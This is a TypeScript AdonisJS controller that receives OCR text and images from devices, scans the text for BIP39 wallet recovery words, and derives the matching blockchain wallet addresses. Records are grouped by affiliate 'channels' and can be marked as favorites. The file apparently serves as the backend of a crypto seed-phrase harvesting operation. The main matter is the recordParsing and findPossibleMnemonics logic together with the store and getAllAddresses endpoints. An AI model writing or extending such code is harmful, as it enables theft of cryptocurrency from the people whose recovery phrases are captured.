import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext' import PaginationService from 'App/Services/PaginationService' import { schema } from '@ioc:Adonis/Core/Validator' import OcrRecord from 'App/Models/OcrRecord' import Drive from '@ioc:Adonis/Core/Drive' import BlockchainWalletService from 'App/Services/BlockchainWalletService' import * as bip39 from 'bip39' import { HttpStatusCode } from 'axios' import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException' import FilesService from 'App/Services/FilesService' import * as console from 'node:console' import { UserRoles } from 'App/Models/User' import UserService from 'App/Services/UserService' import { SimplePaginatorContract } from '@ioc:Adonis/Lucid/Database' export default class OcrRecordController { private paginationService = new PaginationService(OcrRecord) public async index({ request, response, auth }: HttpContextContract) { try { const { page = 1, size = 20, id, deviceId, channel } = request.qs() const user = auth.user const role = user?.$attributes?.role if (!role) { return response.forbidden({ error: 'Forbidden', message: 'Unauthorized access' }) } let userChannel: string | undefined if (role === UserRoles.Api) { userChannel = user!.username } else if (['admin', 'operator'].includes(role)) { const apiUsers = await UserService.findReferredUsers(user!.id) const allowedChannels = apiUsers.map((user) => user.username as string) // 如果请求中指定了channel,检查是否在允许的channel列表中 if (channel) { if (!allowedChannels.includes(channel)) { return response.ok({ data: [], meta: { total: 0, per_page: Number(size), current_page: Number(page), last_page: 0, first_page: 1, first_page_url: '/?page=1', last_page_url: '/?page=0', next_page_url: null, previous_page_url: null } }) } userChannel = channel } else { userChannel = allowedChannels.join(',') } } else { return response.forbidden({ error: 'Forbidden', message: 'You are not authorized to access this resource' }) } // 构建查询条件 const query = OcrRecord.query() if (id) { query.where('id', id) } if (deviceId) { query.where('deviceId', deviceId) } if (userChannel) { query.whereIn('channel', userChannel.split(',')) } // 执行分页查询 const result = await query.orderBy('created_at', 'desc').paginate(page, size) // 处理API用户的数据脱敏 if (role === UserRoles.Api) { result.forEach((record) => { record.content = '' record.record = '' record.img = '' record.thumbnail = '' }) } else { // 处理图片URL await Promise.all( result.map(async (record) => { if (record.img && record.img !== '-') { const url = new URL(record.img) const filePath = url.pathname.replace(/^\//, '') record.img = await Drive.getSignedUrl(filePath) record.thumbnail = await FilesService.generateThumbnailUrl(filePath) } else { record.img = '' record.thumbnail = '' } }) ) } return response.ok(result) } catch (error) { return response.internalServerError({ message: '获取OCR记录列表时发生错误', error: error.message }) } } public async store({ request, bouncer }: HttpContextContract) { // await bouncer.authorize('admin') await request.validate({ schema: schema.create({ deviceId: schema.string(), record: schema.string() }) }) const data = request.all() data.content = await this.recordParsing(data.record) data.detail = await BlockchainWalletService.getAllAddresses(data.content) return await OcrRecord.create(data) } public async updateContent({ request, response }: HttpContextContract) { const data = await request.validate({ schema: schema.create({ id: schema.number(), content: schema.string() }) }) const record = await OcrRecord.findBy('id', request.input('id')) if (record) { record.content = data.content await record.save() return response.ok(record) } else { return response.notFound({ message: 'Record not found' }) } } public async updateDetail({ params, response }: HttpContextContract) { const record = await OcrRecord.findBy('id', params.id) if (record) { const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content) record.detail = JSON.stringify(walletAddresses) await record.save() return response.ok(record) } else { return response.notFound({ message: 'Record not found.' }) } } public async updateFavorite({ params, response }: HttpContextContract) { const record = await OcrRecord.findBy('id', params.id) if (record) { record.favorite = !record.favorite await record.save() return response.ok(record) } else { return response.notFound({ message: 'Record not found.' }) } } public async favorite({ request, response, auth }: HttpContextContract) { try { const { page = 1, size = 20, id, deviceId, channel } = request.qs() const user = auth.user const role = user?.$attributes?.role if (!role) { return response.forbidden({ error: 'Forbidden', message: 'Unauthorized access' }) } let userChannel: string | undefined if (role === UserRoles.Api) { userChannel = user!.username } else if (['admin', 'operator'].includes(role)) { const apiUsers = await UserService.findReferredUsers(user!.id) const allowedChannels = apiUsers.map((user) => user.username as string) // 如果请求中指定了channel,检查是否在允许的channel列表中 if (channel) { if (!allowedChannels.includes(channel)) { return response.ok({ data: [], meta: { total: 0, per_page: Number(size), current_page: Number(page), last_page: 0, first_page: 1, first_page_url: '/?page=1', last_page_url: '/?page=0', next_page_url: null, previous_page_url: null } }) } userChannel = channel } else { userChannel = allowedChannels.join(',') } } else { return response.forbidden({ error: 'Forbidden', message: 'You are not authorized to access this resource' }) } // 构建查询条件 const query = OcrRecord.query().where('favorite', true) if (id) { query.where('id', id) } if (deviceId) { query.where('deviceId', deviceId) } if (userChannel) { query.whereIn('channel', userChannel.split(',')) } // 执行分页查询 const result = await query.orderBy('created_at', 'desc').paginate(page, size) // 处理API用户的数据脱敏 if (role === UserRoles.Api) { result.forEach((record) => { record.content = '' record.record = '' record.img = '' record.thumbnail = '' }) } else { // 处理图片URL await Promise.all( result.map(async (record) => { if (record.img && record.img !== '-') { const url = new URL(record.img) const filePath = url.pathname.replace(/^\//, '') record.img = await Drive.getSignedUrl(filePath) record.thumbnail = await FilesService.generateThumbnailUrl(filePath) } else { record.img = '' record.thumbnail = '' } }) ) } return response.ok(result) } catch (error) { return response.internalServerError({ message: '获取收藏记录列表时发生错误', error: error.message }) } } public async getAllAddresses({ request }: HttpContextContract) { await request.validate({ schema: schema.create({ mnemonic: schema.string() }) }) return BlockchainWalletService.getAllAddresses(request.input('mnemonic')) } public async recordParsing(record: string) { // 解析记录字符串 const lines = record.split('\n') if (record.includes('Rec:') && record.includes('Det:')) { // 提取所有Rec:后面的文本 lines .filter((line) => line.includes('Rec:')) .map((line) => { const parts = line.split('Rec:') if (parts.length < 2) return '' // 获取Rec:之后、Cls:之前的部分 const afterRec = parts[1] const beforeCls = afterRec.split('Cls:')[0] // 找到最后一个逗号的位置 const lastCommaIndex = beforeCls.lastIndexOf(',') // 如果找到逗号,提取逗号之前的文本;否则使用整个文本 return lastCommaIndex !== -1 ? beforeCls.substring(0, lastCommaIndex).trim() : beforeCls.trim() }) .filter((text) => text.length > 0) } // 从文本中提取潜在的助记词 const potentialWords = new Set() const englishWordRegex = /[a-zA-Z]+/g // 遍历所有行提取英文单词 lines.forEach((line) => { const words = line.match(englishWordRegex) if (words) { words.forEach((word) => { // 忽略数字和分数值 if (!word.includes('.') && isNaN(Number(word))) { potentialWords.add(word.toLowerCase()) } }) } }) // 过滤出可能是BIP39助记词的单词 const potentialBip39Words = Array.from(potentialWords).filter((word) => { // 使用bip39.wordlists.english检查单词是否在BIP39词表中 return bip39.wordlists.english.includes(word) }) // 寻找连续助记词序列 const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words) console.log('Potential BIP39 words:', potentialBip39Words.toString()) console.log('Potential mnemonics:', possibleMnemonics.toString()) // 将所有可能的助记词合并为一个字符串返回 if (possibleMnemonics.length < potentialBip39Words.length) { return potentialBip39Words.join(' ') } return possibleMnemonics.join(' ') } // 寻找可能的助记词序列 private async findPossibleMnemonics( recTexts: string[], bip39Words: string[] ): Promise { const mnemonics: string[] = [] // 检查每行文本是否包含连续地助记词 recTexts.forEach((text) => { const words = text.split(/\s+/) // 检查这一行是否包含多个BIP39词 const bip39WordsInLine = words.filter((word) => { // 清理单词中的标点符号以及数字 const cleanWord = word.replace(/[.,;:!?0-9]/g, '') return bip39Words.includes(cleanWord) }) // 如果找到多个BIP39词,可能是助记词序列 if (bip39WordsInLine.length >= 3) { // mnemonics存入bip39WordsInLine中每一个元素 bip39WordsInLine.map((word) => { mnemonics.push(word) }) } }) // 尝试从所有文本中提取12或24个词的序列 // const allWords = recTexts.join(' ').split(/\s+/) // const bip39WordsInAll = allWords.filter((word) => { // const cleanWord = word.replace(/[.,;:!?]/g, '') // return bip39Words.includes(cleanWord) // }) // // bip39WordsInAll.map((word) => { // mnemonics.push(word) // }) // 查找12词或24词的连续序列 // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) { // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ') // if (bip39.validateMnemonic(possibleMnemonic)) { // mnemonics.push(possibleMnemonic) // } // } // // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) { // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ') // if (bip39.validateMnemonic(possibleMnemonic)) { // mnemonics.push(possibleMnemonic) // } // } // 返回去重后的助记词列表 return mnemonics } public async imgCleaning({ request, bouncer, response }: HttpContextContract) { // 授权检查 await bouncer.authorize('admin') // 验证请求数据 const { startDate, endDate } = await request.validate({ schema: schema.create({ startDate: schema.string(), endDate: schema.string() }) }) // 查询符合条件的记录 const records = await OcrRecord.query() .whereBetween('createdAt', [startDate, endDate]) .where('favorite', 0) .whereNot('img', '-') console.log(`待清理图片数量: ${records.length}`) if (records.length === 0) { return response.status(200).ok({ success: true, message: '没有符合条件的图片需要清理', count: 0 }) } const recordImgMap = new Map(records.map((record) => [record.id, record.img])) const filePaths = records .map((record) => { try { return { id: record.id, originalUrl: record.img, path: new URL(record.img).pathname.replace(/^\//, '') } } catch (error) { console.error(`无效的图片 URL: ${record.img}`) return null } }) .filter(Boolean) as { id: number; originalUrl: string; path: string }[] const pathsToDelete = filePaths.map((item) => item.path) const imgResult = await FilesService.batchDelete(pathsToDelete) const successPaths = imgResult.success console.log(`清理成功路径数量: ${successPaths.length}`) // 找出成功删除的文件对应的记录ID const successIds = filePaths .filter((item) => successPaths.includes(item.path)) .map((item) => item.id) const deletedCount = await OcrRecord.query().whereIn('id', successIds).delete() console.log(`删除成功记录数量: ${deletedCount}`) const successUrls = successIds.map((id) => recordImgMap.get(id)).filter(Boolean) return response.status(200).ok({ success: true, message: `清理成功数量: ${successPaths.length}`, count: successUrls.length }) } }